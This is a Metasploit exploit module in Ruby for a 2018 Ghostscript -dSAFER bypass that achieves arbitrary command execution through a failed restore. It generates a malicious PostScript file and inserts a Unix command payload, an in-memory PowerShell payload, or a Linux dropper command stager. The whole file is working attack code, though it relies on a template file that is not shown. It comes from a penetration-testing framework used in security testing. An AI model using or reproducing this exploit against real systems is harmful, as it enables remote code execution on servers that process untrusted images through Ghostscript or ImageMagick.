Ghostscript Failed Restore Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit

  Rank = ExcellentRanking

  PLACEHOLDER_STRING  = 'metasploit'
  PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty'

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ghostscript Failed Restore Command Execution',
      'Description'    => %q{
        This module exploits a -dSAFER bypass in Ghostscript to execute
        arbitrary commands by handling a failed restore (grestore) in
        PostScript to disable LockSafetyParams and avoid invalidaccess.

        This vulnerability is reachable via libraries such as ImageMagick,
        and this module provides the latest vector for Ghostscript.

        For previous Ghostscript vectors, please see the following modules:
          exploit/unix/fileformat/ghostscript_type_confusion
          exploit/unix/fileformat/imagemagick_delegate
      },
      'Author'         => [
        'Tavis Ormandy', # Vuln discovery and exploit
        'wvu'            # Metasploit module
      ],
      'References'     => [
        ['URL', 'http://seclists.org/oss-sec/2018/q3/142'],
        ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640']
      ],
      'DisclosureDate' => 'Aug 21 2018',
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix', 'linux', 'win'],
      'Arch'           => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Privileged'     => false,
      'Targets'        => [
        ['Unix (In-Memory)',
         'Platform'    => 'unix',
         'Arch'        => ARCH_CMD,
         'Type'        => :unix_memory,
         'Payload'     => {'Space' => 4089, 'DisableNops' => true} # 4096 total
        ],
        ['PowerShell (In-Memory)',
         'Platform'    => 'win',
         'Arch'        => [ARCH_X86, ARCH_X64],
         'Type'        => :psh_memory
        ],
        ['Linux (Dropper)',
         'Platform'    => 'linux',
         'Arch'        => [ARCH_X86, ARCH_X64],
         'Type'        => :linux_dropper
        ]
      ],
      'DefaultTarget'  => 0
    ))

    register_options([
      OptString.new('FILENAME', [true, 'Output file', 'msf.ps'])
    ])

    register_advanced_options([
      OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
    ])
  end

  def exploit
    sploit = template

    # Replace our placeholder string with a random one
    sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42))

    # Replace our test payload with the real one
    case target['Type']
    when :unix_memory
      sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded)
    when :psh_memory
      psh = cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true)

      # XXX: Payload space applies to the payload, not the PSH command
      if psh.length > targets[0].payload_space
        fail_with(Failure::BadConfig, 'Please choose a smaller payload')
      end

      sploit.sub!(PLACEHOLDER_COMMAND, psh)
    when :linux_dropper
      cmdstager = generate_cmdstager(
        linemax: targets[0].payload_space,
        temp:    datastore['WritableDir']
      ).join(';')

      # XXX: Payload space applies to the payload, not the command stager
      if cmdstager.length > targets[0].payload_space
        fail_with(Failure::BadConfig, 'Please choose a smaller command stager')
      end

      sploit.sub!(PLACEHOLDER_COMMAND, cmdstager)
    end

    file_create(sploit)
  end

  def template
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'ghostscript', 'msf.ps'
    ))
  end

end